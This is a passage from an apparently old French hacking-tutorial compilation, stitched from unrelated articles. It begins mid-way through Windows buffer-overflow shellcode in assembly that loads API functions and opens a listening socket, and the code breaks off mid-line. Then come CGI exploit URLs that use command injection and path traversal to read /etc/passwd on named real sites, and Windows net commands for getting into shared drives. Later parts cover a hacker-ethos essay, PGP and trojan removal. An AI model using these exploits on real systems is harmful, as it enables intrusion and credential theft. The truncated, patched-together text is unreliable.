inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],6Eh ;n
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],61h ;a
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],70h ;p
inc ebx
mov byte ptr [ebx],74h ;t
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],72h ;r
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],76h ;v
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],6Fh ;o
inc ebx
mov byte ptr [ebx],73h ;s
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],73h ;s
inc ebx
mov byte ptr [ebx],6Fh ;o
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],6Bh ;k
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],74h ;t
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],2Eh ;.
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],78h ;x
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
En fait, j'ai pris ebx plutôt que eax car l'instruction "inc eax" contient un caractère illégal pour le buffer du pirate. De même je me suis embété à faire un "inc ebx" à chaque fois, car si je bidouillait avec les adresses ou que je mettais mov byte ptr[ebx+...], et bien au bout d'un moment il y avait des 0000000 et ça n'allait donc pas. Je dis ça pour pas avoir de commentaires du style : "Pourquoi le pirate s'embéterait à faire 10000 inc ebx ?". Comme ça, ça fonctionne.
De plus le buffer est assez grand (4093 chars).
Ensuite, le pirate va charger les adresses des fonctions pour se constituer une jump table bien sympathique.
mov eax,not 00CE1528h ; on push offset de "Kernel32.dll\0"
not eax ; les not, c'est pour éliminé le 00 encore une fois
push eax ; Seul paramètre de LoadlibraryA, l'adresse de la chaîne "kernel32.dll"
mov eax,100E7710h ; offset de l'offset de LoadLibraryA (dans la DLL)
call dword ptr [eax] ; Appelle LoadLibraryA
mov edx,eax ; Sauve le handle de KERNEL32 dans edx
push edx ; il push edx pour pouvoir réutiliser le Handle pour chaque fonction
mov eax,not 00CE1535h ; il push l'offset de "GlobalAlloc\0"
not eax
push eax ; Dernier Paramètre de GetProcAddress
push edx ; il push le handle de KERNEL32 (reçu par LoadLibraryA)
mov ebx,100E770Ch ; Adresse de l'adresse de GetProcAddress (Dans la DLL)
call dword ptr [ebx] ; call GetProcAddress
mov dword ptr [ebp+4],eax ; il met l'addresse de GlobalAlloc à [ebp+4]
pop edx ; récupère et sauve le handle de Kernel32.dll
push edx
mov eax,not 00CE1541h ; TerminateProcess, idem
not eax
push eax
push edx
mov ebx,100E770Ch
call dword ptr [ebx]
mov dword ptr [ebp+8],eax
pop edx
push edx
Et le pirate répète ça pour toutes les fonctions, inlassablement. Pour les fonctions de winsock aussi...
Un petit éclaircissement sur ce que le pirate a. Il a les adresses des adresses de toutes ses fonctions après ebp
On sait que la pile est sous ebp, donc pas de problème si le pirate a des données vitales après ebp, ça risque de tout casser après l'execution de son code, c'est tout, et il s'en fout de ça.
Il a donc sauvé ce que retourne GetProcAddress après ebp, on a donc ce petit tableau :
Fonction Adresse
GlobalAlloc EBP+4
TerminateProcess EBP+8
GetCurrentProcess EBP+12
WinExec EBP+16
_lcreat EBP+20
_lwrite EBP+24
_lclose EBP+28
socket EBP+56 *voir après
bind EBP+36
listen EBP+40
accept EBP+44
recv EBP+48
closocket EBP+52
L'adresse pour socket n'est pas 32 car c'est égal à 20 en hexadécimal, ce qui correspond à un espace, le serveur ne l'accepte donc pas.Le pirate pourra appeller WinExec par exemple, en faisant call dword ptr [ebp+16].
Il ne reste plus que le plus facile à notre pirate, l'exploit lui-même, maintenant qu'il a contourné la difficultés des shellcodes windows.
Il va allouer de la mémoire pour y mettre des données telles que les socket file descriptors, ou la structure sockaddr_in.
mov eax,not 32 ; 32 bytes à allouer
not eax
push eax ; push le dernier argument, nb de bytes
mov eax,not GPTR
not eax
push eax ; push GPTR, le premier arguments
call dword ptr [ebp+4] ; Call GlobalAlloc
mov esi,not 32
not esi
add esi,eax ; il a de la mémoire allouée de [esi-32] à [esi]; pour mettre ce qu'il veut
xor eax,eax
mov ax,not AF_INET
not ax
mov [esi-16],ax ; on met AF_INET dans sockaddr_in.sinfamily
mov ax,not 3500h ; port 53 en netword byte order
not ax ; car : 53 = 0035h = 3500h en network byte order
mov [esi-14],ax ; il met le port dans sinport
mov eax,not IPPROTO_TCP
not eax
push eax ; dernier argument
mov eax,not SOCK_STREAM
not eax
push eax ; second argument
mov eax,not AF_INET
not eax
push eax ; premier argument
call dword ptr [ebp+56] ; socket
mov [esi-20],eax ; sauve le socket fd dans [esi-20]

mov eax,not 16 ; taille de la structure
not eax
push eax ; push le second argument
mov eax,esi</

Voilà, s'en est terminé avec le buffer overflow, le texte paraît assez compliqué, mais il est clair qu'il n'est accessible qu'à ceux qui ont déjà de bonnes connaissances, car à vrai dire, je ne pouvais pas faire plus simple pour expliquer .

Le titre ne vous dira peut-être rien, d'ailleurs, je n'aurais pas écris l'article je n'en aurais pas la moindre idée non plus =). On va prendre un exemple pour expliquer le titre alors. Vous avez sûrement remarqué quand vous allez dans un site un "cgi-bin" au niveau de l'url. Il y en a très souvent dans les moteurs de recherche. Alta Vista en est d'ailleurs un très bon exemple. Vous allez sur Alta Vista et vous tapez hacking et choisissez la langue française, lancez la recherche. L'url de la page deviendra la suivante :

Vous l'avez vu le cgi? Ce n'est rien d'autre que ça. En gros c'est un programme écrit en pearl ou en c (ou en d'autres langages mais ce sont les plus répandus) qui permet des accès à l'intérieur du serveur par mot clé. Certaines séries de lettres représentent des touches tapées comme "Enter" par exemple. Ce qui fait qu'en mettant une adresse on exécute un programme, qui, s'il est buggé (plutôt si un pirate connaît le bug), agira en fait comme un outil de recherche genre "explorateur windows". Un cgi peut vraiment faire beaucoup de choses : recherche de fichiers, compteur de visites, animations, etc... Son utilisation dans les sites est très répandu vu qu'il a à peu près le même potentiel qu'un script Java. Sacré potentiel n'est ce pas?
Ci-dessous différentes manières que les pirates utilisent pour exploiter ces bugs pour devenir root ou pour faire d'autres choses de ce genre juste avec Netscape. Sachez qu'à ma connaissance il y a au moins 130 bugs cgi trouvés d'où de quoi pas mal s'amuser lorsque l'on est pirate. Ici je n'en donne que quelques uns à titre d'exemple.

Pfs :
Des filtres pas très au point sur certaines requêtes permettent d'accéder au fichier contenant le password root sur les serveur tournant sous NCSA (version inférieure ou égale à 1.5 ) et sous apache (versions inférieures à 1.0.5) :
http://url_du_site/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
Exemple : http://www.whitehouse.com/cgi-bin/phf?Qalias=x%0a/bin%20/etc/passwd

Pfs (un autre bug) :
Idem mais là, la commande change vraiment très peu et ça ne marche pas que sur ceux énumérés au dessus :
http://url_du_site/cgi-bin/phf?Qname=x%0a/bin/cat%20/etc/passwd
Exemple : http://www.whitehouse.com/cgi-bin/phf?Qname=x%0a/bin%20/etc/passwd

Php :
Même chose que ci-dessus sauf que c'est avec php. La syntaxe n'est pas la même mais le résultat est identique, le pirate a le pass root :
http://url_du site/cgi-bin/php.cgi?/etc/passwd
Exemple : http://www.whitehouse.com/cgi-bin/php.cgi?/etc/passwd

Php (un autre bug) :
Idem mais là, la commande change vraiment très peu :
http://url_du site/cgi-bin/php?/etc/passwd
Exemple : http://www.whitehouse.com/cgi-bin/php?/etc/passwd

Query :
Là c'est encore la même chose mais ça marche avec query :
http://url_du site/cgi-bin/query?%0a/bin/cat%20/etc/passwd
Exemple : http://www.whitehouse.com/cgi-bin/query?%0a/bin/cat%20/etc/passwd

Htmlscript :
Là aussi ça sert à devenir root en trouvant le pass root, le tout est de savoir où se trouve le répertoire /etc par rapport au cgi-bin. Si le pirate connait l'arborescence des répertoires sous UNIX et il n'a donc aucun problème pour se repérer, surtout qu'il n'est pas obligé de mettre /etc/passwd mais par exemple: /usr/das, sous peine bien sûr que le fichier das et le répertoire /usr éxistent.
http://url_du_site/cgi-bin/htmlscript?../../etc/passwd
Exemple : http://www.whitehouse.com/cgi-bin/htmlscript?../../../etc/passwd
Dans cet exemple il s'agissait de redescendre à la racine là où se trouve le répertoire /etc et pour cela le pirate est descendu de trois niveaux vu que dans cet exemple, le cgi-bin se trouvait dans le répertoire : /web/info/revelation. Mais ce n'est qu'un exemple. Le cgi-bin pourrait très bien se trouver dans le répertoire : /bin/das et il aurait été obligé de faire : http://www.whitehouse.com/cgi-bin/htmlscript?../../etc/passwd.
Si vous voulez comprendre la structure de ces exploits, je vais vous les expliquer un peu. le %0a correspond à un "enter" en pearl et le %20 a un "espace" en pearl. Les cat est un éditeur sous unix et le fait de faire "cat%20/etc/passwd" aura l'effet de faire "cat passwd" dans le répertoire /etc ce qui aura pour effet de dévoiler l'interieur du fichier comme il serait possible de le faire avec word.

Dans quel cas les cgi phf et autres scripts ne servent à rien? Si le serveur a ses pages web transistant par le port 8000, 8001 ou 8080 ça ne sert à rien d'essayer car même si les bugs des cgi sont présents, le pirate ne pourra pas acceder au répertoire contenant le fichier passwd. En effet le http passe le plus courement par le port 80 mais le port 8080 est aussi très souvent utilisé notamment pour ce qui concerne les proxy. Les ports 8000 et 8001 sont assez peu utilisé. Le pirate peut recupérer le passwd avec les cgi si le http passe par le port 80 car c'est un port privilégié et les 8080, 8000 et 8001 ne le sont pas. Un port privilégié signigie que seul le root ou une personne loguée en tant que root peut l'utiliser ou utiliser des programmes faisant transiter des paquets par celui ci. Pour savoir si un serveur a son http sur le port 80 ou autres c'est assez simple, le pirate met ":n°_du_port" apres son DNS.
Exemple : si le serveur a son http à l'adresse http://www.whitehouse.com/, il fait http://www.whitehouse.com:80/ et si la page reste la même il est sur le port 80. Bien sur s'il obtiend une page vide avec des mots comme "not found" genre ce que l'on trouve en faisant http://www.fbi.gov:8080/ ou une page non attribuée, c'est que le http ne se trouve pas sur le port qu'il avait demandé.
Bien sûr je n'ai pas tout à fait raison quand je vous dis que les scripts cgi ne servent à rien si le http n'est pas lancé en root. Cela pourra toujours vous donner un acces user sur la bécane si le bug est présent. Et on ne devient pas toujours root tout de suite (et même loin de là) et l'acces user est toujours plus important qu'un acces en anonymous surtout que si l'account de cet user a servi au http il a peut être servi à autre chose. Mais il se peut aussi que cet account soit stérile car l'admin a très bien pu utiliser un port différent du 80 par mesure de sécurité et donc a prévu le fait que l'account sous lequel il a lancé le http soit piraté par la suite.

Ca c'est déjà vu, quand vous vous souscrivez sur un hébergeur ou autre, on vous demande de bien choisir votre mot de passe (les webmasters en ont marre de recevoir du courrier expliquant que le site d'un tel a été piraté). Il est conseillé (parfois obligatoire) de prendre un mot de passe à plus de 6, 8 ou 9 lettres. Le 3/4 des utilisateurs font l'erreur de prendre un mot de passe qui correspond à quelque chose : un pseudo, un nom de famille, le nom du chat, la date de naissance ou encore pire le code de carte bleue...

Un bon dico, permet à tous les lamers (ceux qui utilisent des crack pass pour satisfaire leurs besoins de soumissions mazochistes et débiles, en hackant des serveurs de pauvres gars qui font chier personnes de trouver ce pass. Il est conseillé de prendre un password avec: majuscules, minuscules, chiffres. Ex : RuY54gHEt.

Cela peut paraître long à taper et chiant, mais personne vous oblige à prendre ce pass. D'autres personnes ont cru bien sécuriser leurs sites ou réseaux ou comptes mails, en ne mettant que des chiffres! Ex: l'utilisateur X a choisi 121182 comme password pour son site et son compte mail. Ces chiffres correspondent à des dates, ou à rien du tout: mais un générateur de chiffres peut créer un dico qui trouvera la solution en deux coups de cuillères à pot. De plus un utilisateur prudent et averti ne devrait jamais prendre un même mot de pass pour les zones sensibles (réseau, site, compte e-mail, etc...) Dans ces techniques, celle de possession du compte e-mail est la plus dangereuse: il suffit que monsieur X ait enregistré son site à l'adresse xxxx@héhé.com, pour qu'un cracker fasse un retry d'infos, et le pass du site est envoyé sur le compte e-mail... piraté.

Vous comprenez donc que trouver un mot de passe est très facile avec n'importe quel crack pass, mais devant un mot de passe vraiment compliqué, le lamer abandonnera vite car son crack pass lui indiquera "temps restant : 2ans"... En clair, le crack pass lui sera inutile.

Voici quelques commandes Windows utiles aux pirates, elles sont tapées sous DOS.

PING
syntaxe : ping [IP ou nom de l'hôte]
exemple : ping 208.24.96.12
utilité : /tester le temps de réponse d'un serveur en lui envoyant des packets ip
/obtenir des informations sur le serveur
/conversion du nom d'hôte en IP

NETSTAT
syntaxe : netstat
exemple : netstat
utilité : /agit en moniteur des ports : utile pour voir les ports ouverts et les IP des connexions distantes
/obtenir l'IP d'une personne sous ICQ avec qui on a établi une conversation

NBTSTAT -A
syntaxe : nbtstat -A [IP de l'hôte]
exemple : nbtstat -A 208.24.96.12
utilité : /voir si le voisinage réseau est installé sur la machine distante et si oui les informations relatives
/repérer d'autres machines affiliées au même réseau
/exploit netbios

NBTSTAT -a
syntaxe : nbtstat -a [nom de la machine]
exemple : nbtstat -a LAMER
utilité : /idem cependant il est préférable d'utiliser la méthode ci-dessus en premier

NBTSTAT
Tapez cette commande offline pour avoir la liste des autres commandes disponibles avec nbtstat.

NET VIEW
syntaxe : net view \\[nom de la machine]
exemple : net view \\LAMAH
utilité : /permet de voir les ressources partagées de la machine distante et donc les lecteurs partagés sur lesquels le pirate va pouvoir s'infiltrer

NET USE
syntaxe : net use \\[nom de la machine]\[lettre de la ressource]
exemple : net use \\LAMAH\C
utilité : /permet de se connecter à la ressource spécifiée si l'accès n'est pas protégé par mot de passe.

Pourquoi ce texte?
Bon on m'a souvent demandé "dAs, j'ai lu tes tutoriaux et ils sont géniaux et moi aussi je voudrais devenir hacker, on fait comment?". Bien sûr il n'y a pas de tutoriel qui vous apprendra à devenir hacker, mais voilà qui vous fera être hacker dans l'âme et plus lorsque vous aurez assimillé toute les techniques, mais je vous préviens, le chemin est très long mais un jour p'tiot tu deviendras grand :]

Qu'est-ce qu'un hacker?
Presques tous les journaux que je lis contiennent un certain nombre de définitions du terme "hacker'', qui sont toutes liées à l'aptitude technique et au plaisir pris à résoudre des problèmes et à dépasser des limites arbitraires. Mais bon, j'aimerais bien améliorer cette definitions plus que sommaire.
Il y a toute une communauté, avec sa propre histoire et sa culture, de programmeurs expérimentés et de spécialistes des réseaux, leur histoire commence au balbutiement de l'ARPAnet (euh, pour faire plus simple, c'est Internet maintenant =). Les membres de cette culture ont créé le mot ``hacker''. Ce sont des hackers qui ont créé l'Internet malgré tout ce qui est dit sur leur compte... Ce sont des hackers qui ont fait d'Unix ce qu'il est de nos jours. Ce sont des hackers qui font tourner tout Internet.
Si vous faites partie de cette culture, si vous y avez contribué et si d'autres personnes qui en font partie savent qui vous êtes et vous considèrent comme un hacker, alors vous êtes un hacker.
Bon, il y a aussi ceux qui se disent "hackers'' et qui prennent leur pied en s'introduisant à distance dans les systèmes informatiques et en piratant tout ce qui passe. Ce sont des crashers et en générale les vrais hackers haïssent les crashers. Bon, il y a bon nombre de crashers possédant les connaissances des meilleurs hackers (élites), mais eux ont plutôt choisit ce que je dirais le côté obscur de la force :]. Malheureusement, de nombreux journalistes se sont laissé abuser et utilisent le mot "hacker'' quand ils devraient utiliser le mot "crasher''. Et bien sûr cela est assez irritant...
La différence fondamentale est la suivante: les hackers construisent des choses, les crackers les cassent.
Si vous voulez devenir un hacker, alors continuez cette lecture. Si vous voulez devenir un crasher, dégage d'ici et oublie pas d'emmener ton exemplaire du lamerizer avant de partir. Car c'est vrai qu'en général j'ai remarqué que les newbies étaient des hackers débutants, et les lamers des crashers débutants.

L'attitude des hackers
Les hackers aident à résoudre les problèmes et croient en la liberté. Adopter cette attitude est déjà un bon point dans l'apprentissage. Mais bon, c'est bien beau d'adopter cette attitude, mais si vous n'y croyais pas ça ne sert à rien car il faut y croire pour avoir la motivation nécessaire pour devenir et être hacker. Donc, pour devenir un hacker, répétez les phrases suivantes jusqu'à y croire réellement:
1. Le monde est plein de problèmes fascinants qui n'attendent que d'être résolus (lol, j'entends déjà me dire "ouais du style lamerizer, je ne suis qu'un assoiffé de connaissance", arf, je ne vous dit pas de sortir ça en salon, mais d'y croire vraiment!). Etre hacker est très amusant, c'est un fait, mais pour s'en amuser, il faut vraiment être extrèmement motivé et ressentir une sorte d'exitation à chaque essai de résolution de problème, et si cette pensée ne vous paraît pas naturelle, et bien il faudra qu'elle le devienne si vous voulez être hacker, sinon votre energie va se disperser dans d'autres choses et finalement vous ne maîtriserez jamais rien car vous ne vous serez pas assez investit.
2. Personne ne devrait jamais avoir à résoudre le même problème deux fois.
Partager vos informations doit devenir une obligation morale, tout cela pour que les autres hackers n'aient pas à rerésoudre le problème que vous avez résolu.
3. La routine et l'ennui sont inacceptables.
Résoudre les problèmes peut devenir ennuyeux, mais pour devenir un hacker, vous devez développer une telle passion que tout ennui deviendra impossible.
4. Vive la liberté !
Les hackers sont naturellement anti-autoritaristes. Les attitudes autoritaristes doivent être combattues partout où elles se trouvent, pourquoi, car elles vous empecherons de faire votre devoir sur le net. Les autoritaristes se nourrissent de censure et de secrets. Et ils se méfient de l'entraide mutuelle et du partage d'informations. Ce qui est tout à fait à l'opposé de la pensée du hacker qui developpera donc une hostilité envers cette censure. Certains hackers poussent le vice encore plus loin pour être de vrais anarchistes.
5. L'attitude n'est pas un substitut à la compétence.
Pour être un hacker, vous devez développer un certain nombre de ces attitudes. Mais cela seul ne suffira pas à faire de vous un hacker, car pour cela il faut de l'intelligence, de l'expérience, de la persévérance et beaucoup de travail. Par conséquent, vous devez apprendre à vous méfier des attitudes et à respecter les compétences, quelles qu'elles soient. Les hackers apprécient les compétences et les compétences dans les domaines exigeants maîtrisées par une élite sont particulièrement appréciées, et plus particulièrement celles qui nécessitent un esprit perçant et une grande concentration.

Les compétences de base du hacker.
Bon c'est cool, vous avez le style, maintenant il faut développer un ensemble minimum de compétences avant que l'idée n'effleure un autre hacker de vous accepter comme un des siens.
1. Apprendre à programmer.
C'est, évidemment, la compétence principale du hacker. Pour être hacker, il ne faut pas connaître qu'un seul langage de programmation, il faut tous les maîtriser. Il faut apprendre à penser à la programmation en termes généraux. Pour être un vrai hacker, il faut être arrivé au point où vous pouvez apprendre un nouveau langage en quelques jours, en faisant le rapport entre ce qui est écrit dans le manuel et vos propres connaissances.
Je ne peux pas vous donner un cours sur "comment apprendre à programmer'', c'est quelque chose de très complexe et à vrai dire je ne suis vraiment pas doué dans ce domaine (ben oui je n'ai pas atteinds le stade, que je dirais suprème, de hacker, je me définirais plutôt comme étant newbie, ceci malgré toutes les connaissances que j'ai =).
Apprendre à programmer, c'est comme apprendre à écrire correctement dans un langage humain. La meilleure façon d'y arriver, c'est de lire des trucs écrits par des maîtres, d'en écrire un peu, d'en lire beaucoup plus, d'en écrire un peu plus, etc... Et là vous finirez bien par y arriver à force de persévérance (ce que moi je n'ai jamais eu, et qui m'a empeché d'évoluer).
2. Installer Linux et apprendre à s'en servir.
Pour un débutant qui aspire à acquérir des compétences de hacker, l'action la plus importante est d'obtenir une copie de Linux, de l'installer sur sa machine personnelle, et de le faire tourner.
Bien sûr, il y a d'autres systèmes d'exploitation dans le monde à part Unix. Le problème, c'est qu'ils sont distribués sous forme de binaires. Vous ne pouvez pas lire le code, et encore moins le modifier. Apprendre à hacker sur Windows ou sous MacOS, c'est comme apprendre à danser en étant plâtré des pieds à la tête (en fait c'est possible mais nettement plus dur et plus long). En plus, Unix est le système d'exploitation de l'Internet. On peut apprendre à utiliser l'Internet sans connaître Unix, mais on ne peut pas être un hacker de l'Internet sans le comprendre. C'est pour cette raison que la culture des hackers est à l'heure actuelles fortement centrée autour de Linux.
3. Apprendre à utiliser Internet et à écrire en HTML.
Le Web est le jouet des hackers, énorme et lumineux, même les politiciens admettent qu'il est en train de changer la face du monde. Rien que pour cette raison, vous devez apprendre à travailler avec le Web. Cela ne signifie pas seulement apprendre à utiliser un browser, mais aussi apprendre à écrire en HTML, le langage de balisage du Web. Si vous ne savez pas programmer, le fait d'écrire en HTML vous apprendra quelques habitudes mentales qui vous aideront à démarrer. Donc, faites-vous une home page pour commencer. Mais ce n'est pas seulement d'avoir une home page qui fera de vous un hacker, ça serait abusé quand même =). Le Web est plein de home pages. La plupart sont d'un intérêt absolument nul, parfois jolies à regarder mais nulles quand même (comme exemple, allez donc voir SkyBioss :).
Pour être utile, votre page doit avoir du contenu. Elle doit être intéressante et utile pour les autres hackers. Cela nous conduit à notre sujet suivant...

Les statuts dans la culture des hackers
On obtient un statut ou une réputation non pas en dominant les autres, en étant beau, ou en possédant des choses que les autres désirent, mais en faisant des dons : de son temps, de sa créativité, du résultat de ses compétences.
Il y a principalement cinq types de choses à faire pour être respecté par les hackers:
1. Ecrire des logiciels libres.
La première, la plus centrale et la plus traditionnelle est d'écrire des programmes dont les autres hackers pensent qu'ils sont utiles, et de faire don du code source pour que toute la communauté des hackers puisse les utiliser.
2. Aider à tester et à débugger des logiciels libres.
Il est également utile d'aider à débugger et à perfectionner les logiciels libres car c'est la phase de débuggage qui prend le plus de temps. C'est pour cela que les auteurs de logiciels libres savent que des bon béta-testeurs valent leur pesant d'or.
Si vous êtes un débutant, essayez de trouver un programme en cours de développement qui vous intéresse et de devenir béta-testeur. C'est une progression naturelle que de commencer par aider à tester des programmes, puis d'aider à les débugger, puis d'aider à les modifier. Vous apprendrez beaucoup de cette façon, et les gens que vous avez aidé vous aideront plus tard.
3. Publier des informations utiles.
Une autre bonne chose est de réunir et de filtrer des informations utiles et intéressantes sous forme de pages Web ou de documents comme les FAQ (Foires Aux Questions) et de les rendre accessibles à tous.
Les personnes qui maintiennent les FAQ techniques les plus importantes sont presque autant respectées que les auteurs de logiciels libres.
4. Servir la culture des hackers elle-même.
Pour finir, vous pouvez servir et propager la culture elle-même (par exemple, en écrivant une introduction précise sur comment devenir un hacker =). Ce n'est pas quelque chose qu'il vous sera possible de faire avant d'avoir été dans le bain pendant un certain temps et d'être devenu bien connu pour l'une des trois premières choses.
La culture des hackers n'a pas de chefs, mais elle posséde ces héros et porte-parole. C'est en accomplissant beaucoup par soi même que vous pourrez peut-être en être un. Cependant il est très mal vu de se montrer comme le meilleur et d'afficher son ego surdimensionné. Il faut donc éviter de montrer ouvertement que l'on recherche à obtenir ce genre de célébrité. En effet, il faut rester modeste, si la reconnaissance doit venir, elle viendra d'elle-même.

Avec l'utilisation toujours croissante du courrier électronique (E-Mail) comme mode de communication sur Internet ainsi que d'autres services, la sécurité de ce type de courrier devient de plus en plus importante. De nombreux utilisateurs se posent des questions telles que :

R : Oui, l' E-mail n'est pas sur. Il est possible d'intercepter des messages éléctroniques.

Internet et les services de courrier électronique que l'on peux y trouver ne sont pas surs!
A travers ce document, vous pourrez découvrir pourquoi les services mail ne sont pas surs et comment y remédier.

Imaginons que vous vous serviez du courrier électronique pour envoyer des messages dans une entreprise. Il se pourait qu'au cours de cette courte correspondance, vous échangiez des détails intimes (je sais pas moi, une déclaration d'amour :). Votre employeur n'aurait aucune difficulté à les lire...
Tenez-vous réellement à ce que votre employeur soit parfaitement au courrant de votre vie privée? Si c'est non (enfin j'espere), il est nécessaire que vous protégiez vos lettres des regards indiscrets.

Les informations transmises par courrier électronique sur Internet le sont en texte clair.
Ces textes sont stockés sur n'importe quel ordinateur Internet. Ils sont tenus à la disposition du destinataire pour qu'il les recoive sur simple demande. Voila pourquoi les personnes indiscretes disposent de multiples occasions pour lire les messages d'autres utilisataires. En fait, ces "voyeurs" doivent accéder à des parties déterminées sur un réseau :

Le courrier électronique est la plupart du temps transmis via le SMTP (simple mail transfert protocol). Lors de cette transmission, des paquets de données sont envoyées sur un réseau (Internet). Tres souvent, l' E-Mail n'est pas directement transmis au destinataire mais sauvegardé temporairement. Votre E-Mail restera un certains temps sur un serveur, en clair! C'est bien sur à ce moment là que les messages peuvent etre lus et copier par des responsables du serveur ou par des hackers.
On pourrait se demander alors si des messages sont lus sur Internet et combien...

Bien que tous les E-Mail disposent d'une adresse d'expéditeur, cette information n'est pas fiable! Il est facile de s'amuser à envoyer des messages sous un faux nom. Suivre des messages reste possible jusqu'à un certain point. Quand une communication est transmise via divers ordinateurs, c'est à peine si l'on sait réellement d'ou elle vient à l'arrivée.
Il est donc presque impossible de distinguer si un E-Mail est, dans l'état présent, un original ou ce que l'on pourrait appeler "falsification".

Il existe de nombreux systemes de codage qui permettent, jusqu'à un certain point, de garantir fiabilité et authenticité. En fait, aucun programme ne peut à ce jour garantir 100 % de sécurité. Dans le cas le plus simple, l'expéditeur et le destinataire s'accordent sur une "clé" déterminée. De tels procédés que si vous disposez d'un moyen de communication sur pour vous mettre d'accord sur une clé (ne faite pas ca sur IRC), et notre bon vieux téléphone n'est pas plus sur qu'une lettre...

Puisqu'il est rare de trouver une voie de communication sure, d'autre procedés de codage permettant la transmition de la fameuse clé sont tres souvent utilisés de nos jours. Chaque utilisateur crée deux clés: La premiere est communiquée de facon "publique". Grace à cette clé toutes les autres personnes chiffrent le courrier destiné à un correspondant.
Ce n'est qu'avec la seconde clé perso que le correspondant pourra déchiffrer son courrier:
C'est la raison pour laquelle cette clé personnelle doit etre secrete.

PGP- Pretty Good Privacy est le systeme à clé publique le plus répendu. Il permet :

Une signature életronique garantit qu'un courrier a réellement été rédigé par une personne déterminée. Pour vérifier l'authenticité d'une signature, le destinataire utilise pour le décodage la clé publique. Si le déchiffrage du courier ne peux etre effectué; cela signifie que le message a été manipulé.

A partir d'un message que l'on aura signé, on crée un "extrait" ayant les caractéristiques de ce message. Cet "extrait" est ensuite codé à l'aide de la clé et transmis avec le courrier si le destinataire veut vérifier l'authenticité de la signature, il doit déchiffrer l'extrait codé au moyen de la clé publique de l'expéditeur et doit créer un autre extrait (et oui...) du courrier lisible. Si les deux extraits se recoupent, l'authenticité du courrier et démontrée. Cette methode, disponible dans PGP (le logiciel), permet aux utilisateurs ne possédant pas PGP (oui et ils ne sont pas rares)de lire des courriers signés.

Bien que les possibilités de PGP présentées ici nous permettent déjà de coder et de signer des messages, d'autres questions se posent. La premiere concerne la maniere dont une personne peut faire parvenir un message chiffré à un autre utilisateur avec lequel elle n'a encore aucun contact... Il ne faut pas oublier que la clé doit rester secrete...
Prennons un exemple :

Une personne A voudrait communiquer avec une peronne B qu'il ne connait pas encore.
Si A voulait communiquer avec B, il lui demanderait d'abord sa clé publique.
Et si une personne C pouvait intercepter ce message et envoyer à la place de B, une réponse avec une fausse clé, C serait alors le seul à pouvoir lire ces lettre. A penserait communiquer avec B alors qu'elle communiquerait avec C...
Comment peut on alors reduire cette possibilité d'aggression ?

Les serveurs de clés sont des ordinateurs d'acces public, qui recueillent des clés publiques et qui les envoient sur demande (sympas non ?). Toute personne peut donc y trouver des clés publiques des autres utilisateurs (seulement si ils sont enregistrés).

Les serveurs de clés pourraient pour etre pris en otage par des hackers, ne l'oublions pas...

Le principe sur lequel elle est fondée est le suivant: des personnes qui se connaissent ou bien, qui sont sure de l'existence réelle de l'autre, signent leur clés publiques. La signature d'une clé correspond à celle d'un message. Si B désire signer la clé publique de A, alors il la code avec sa propre clé privée.

Une chaine de confiance est crée quand de nombreux utilisateurs PGP signent entre eux des clés publiques.

Toute clé publique PGP sera clairement marquée d'une "empreinte digitale". Une telle empreinte est aussi unique que chaque clé. Elle permet d'attribuer de maniere fiable une clé PGP à une personne. Par exemple, si une personne vous transmet son empreinte digitale, vous serez certain que la clé est bien la sienne. Il faut bien sur que la personne puisse vous envoyer ses empreintes digitales :] ...

La fiabilité de codage tel que PGP repose sur l'importance des moyens que devrait employer un agresseur pour calculer la clé privée. En effet il existe des "cracker PGP", vous pourrez vous en procurer très certainement sur http://neworder.box.sk/. Sachez qu'il aura fallu 8 mois à une organisation pour cracker une telle clé...
Ceci devrez vous donnez une idée des moyens qu'il faudrait utiliser pour casser une clé...

- Des versions non commerciales pour un usage aux Etats-Unis et le Canada UNIQUEMENT.

Et voilà s'en est fini avec le PGP, cependant si vous voulez plus d'informations dessus, allez donc voir ces sites :

Acid Battery 1.0 : - Allez dans le menu démarrer - Cliquez sur Exécuter - Tapez "regedit" et OK - Ouvrez "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond à la Donnée "expiorer.exe" puis supprimer la - Fermez la base de registre et redémarrez votre ordinateur - Supprimez "expiorer.exe" ( Pas Explorer mais Expiorer avec un i ) - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur

Altavista's Free Internet Service (FreeAV) : - Supprimer les fichiers "fake_freeav.exe" là ou vous l'avez mis et "regclean.log" à la racine de C:\ Antigen - Supprimer "antigen.exe" AOL Admin 1.1 - Allez dans le menu démarrer - Cliquez sur Exécuter - Tapez "regedit" et OK - Ouvrez "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" - Regardez dans la fenêtre de droite et cliquez sur le Nom qui correspond à la Donnée "dat92003.exe" puis supprimer la - Fermez la base de registre et redémarrez votre ordinateur - Supprimez "DAT92003.exe" - Voilà maintenant vous n'avez plus le serveur sur votre ordinateur

